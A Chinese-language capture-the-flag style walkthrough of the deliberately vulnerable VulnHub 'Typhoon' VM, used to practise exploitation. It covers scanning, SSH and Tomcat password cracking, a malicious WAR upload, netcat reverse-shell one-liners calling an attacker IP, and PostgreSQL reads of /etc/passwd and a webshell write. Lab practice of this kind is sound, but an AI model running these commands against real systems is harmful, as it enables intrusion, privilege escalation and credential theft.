kali渗透综合靶机(九)--Typhoon靶机
kali渗透综合靶机(九)--Typhoon靶机
靶机下载地址:https://www.vulnhub.com/entry/typhoon-102,267/
一、主机发现
1.netdiscover -i eth0 -r 192.168.10.0/24,进过分析,确定192.168.10.162是目标靶机
二、端口扫描
1. masscan --rate=10000 -p0-65535 192.168.10.162
三、端口服务识别
1. nmap -sV -T4 -O -p 110,139,631,21,46818,56669,143,53,5432,60954,8080,27017,22,25,3306,445,54180,995,6379,111,2049,37214,80,993 192.168.10.162
或nmap -sV -p- -A 192.168.10.162
四、漏洞查找与利用
21端口(ftp)
nmap扫描可以匿名访问
浏览器访问,发现什么都没有
22端口(ssh)
发现ssh的版本是OpenSSH 6.6.1p1,存在用户名枚举漏洞,使用msf中的ssh枚举脚本(auxiliary/scanner/ssh/ssh_enumusers)
使用cewl收集页面可能是用户的信息,并添加几个常用的用户名,制作一个用户名字典
使用枚举用户脚本枚举用户
python 40136.py 192.168.10.162 -U user.txt
枚举出来用户名为vulnerablevm,www,admin,root,admin123
使用hydra破解密码
hydra -l admin -P /root/rockyou.txt ssh://192.168.10.162 -t 6,下图成功破解admin账户的密码metallica
尝试用admin账户ssh登录目标,登录成功
开始提权,提权方式与下面的提权方式一样
25端口(smtp)
发现开放25端口,版本为Postfix smtpd
使用smtp-user-enum 枚举用户名
smtp-user-enum -M VRFY -U user.txt -t 192.168.10.162,枚举出用户名admin
53端口(DNS ISC BIND9.9.5-3)
查看是否存在漏洞,发现dns版本存在拒绝服务漏洞
80端口(http Apache httpd 2.4.7)
1.扫描网站后台目录
1.1发现http://192.168.10.162/cms,尝试弱口令,失败
1.2漏洞库查找是否有对应的漏洞
1.3在kali中打开msfconsole,并使用了以下exp
1.4成功获得shell
1.5然后就是提权,提权方式有配置不当提权和内核提权
Drupal cms
2.1发现192.168.10.162/drupal/
2.2漏洞库查找是否有对应的漏洞
2.3在kali中打开msfconsole,并使用了以下exp
2.4设置参数
2.5开始攻击,成功获得shell
2.6接下开便是提权了,提权方式和之前的一样
1.3发现http://192.168.10.162/mongoadmin/
1.3.1发现是mondo的web管理页面,点击change database,出现如下
1.3.2点击creds,发现账户密码
1.3.3尝试用ssh登录,成功登陆
1.3.4查看系统版本以及内核版本
1.3.5在kali查看是否有对应的漏洞
1.3.6下载、编译、提权
1.3.7利用sudo提权,前提是已经获得当前普通用户的密码,并且当前用户属于sudo组,下图成功获得管理员权限
445端口
发现目标开放了445端口,使用enum4linux枚举目标共享信息
发现允许空账户、空密码登录,共享文件typhoon
远程挂载
mount -t cifs -o username='',password='' //192.168.10.162/typhoon /mnt
8080(http Apache Tomcat/Coyote JSP engine 1.1)
发现开放了8080,浏览器访问http://192.168.10.162:8080
dirb扫描http://192.168.10.162:8080
发现http://192.168.10.162:8080/manager/,提示需要输入密码
使用msf auxiliary/scanner/http/tomcat_mgr_login 破解tomcat用户名密码
成功获得tomcat用户名密码
使用获得的用户名登录,发现tomcat 的版本是Version 7.0.52
使用metasploit的一个模块tomcat_mgr_upload来尝试进行登录,利用成功,获得meterpreter会话
输入shell,发现当前shell不是交互式的shell,重新打开一个交互式的shell
python -c 'import pty;pty.spawn("/bin/bash")'
开始提权
1.1查看内核版本以及系统版本
1.2利用系统版本的漏洞,进行本地提权
2.利用配置不当进行提权
2.2 我们需要使用Msfvenom创建一个bash代码
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.10.151 lport=9999 R
2.3之后将上面生成的恶意代码在目标靶机系统中添加到script.sh文件
echo "mkfifo /tmp/ruoljay; nc 192.168.10.151 9999 0</tmp/ ruoljay | /bin/sh >/tmp/ ruoljay 2>&1; rm /tmp/ ruoljay " > script.sh
2.4在攻击端开启监听,目标端执行脚本,下图可以看到直接获得管理员权限
3.1用低权限用户将构造的命令写入script.sh,令文件调用以root身份运行的/bin/sh,然后反弹shell,就可以获得root权限了
Echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.151 8888 >/tmp/f;”>script.sh
3.2在kali攻击端监听,获得管理员权限
Tomcat的后台管理获取shell
http://192.168.10.162:8080/manager/html
1.msfvenom来生WAR文件
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.10.151 lport=5555 -f war -o evil.war
2.使用7z l evil.war 查看evulll.war具体内容
3.上传evil.war文件
4.攻击端监听,浏览器访问上传的恶意Web应用程序
http://192.168.10.162:8080/evil/wjsdgaavcuyf.jsp
5.这次攻击端获得反弹shell
6.接下来便是提权,方式和之前的一样。
5432(PostgreSQL)
1.使用auxiliary/scanner/postgres/postgres_login,尝试爆破PostgreSQL数据库用户名密码
2.成功爆破出来PostgreSQL用户名以及密码
3.登录数据库
psql -h 192.168.10.162 -U postgres
4.列下目录
5. 读取权限允许的文件
select pg_read_file('postgresql.conf',0,1000);
6.建表,并使用copy从文件写入数据到表
DROP TABLE if EXISTS MrLee;CREATE TABLE MrLee(t TEXT);COPY MrLee FROM '/etc/passwd';select * from MrLee limit 1 offset 0;
成功读取到了/etc/passwd第一行
7.直接读出所有数据
SELECT * FROM MrLee;
8.利用数据库写文件
INSERT INTO MrLee(t) VALUES('hello,MrLee');
COPY MrLee(t) TO '/tmp/MrLee';
SELECT * FROM MrLee;
显示里面有一句hello,MrLee,成功写入文件,并成功读取到源内容
9.写入木马
9.1创建OID,清空内容
SELECT lo_create(9999);
delete from pg_largeobject where loid=9999;
//创建OID,清空内容
9.2接下来就是写入木马了,使用hex
insert into pg_largeobject (loid,pageno,data) values(9999, 0, decode('.....', 'hex'));
10.菜刀连接
11.接下来就是提权了
总结:
1.信息收集、目录扫描、漏洞分析与利用
2.getshell方法
1.ssh爆破
2.lotus cms漏洞利用
3.Drupal cms漏洞利用
4.mongoadmin 数据库管理web页面查看用户名、密码
5.tomcat tomcat_mgr_upload漏洞
6.PostgreSQL未授权访问
3.提权方法
1.sudo提权
2.内核版本提权
3.利用配置不当进行提权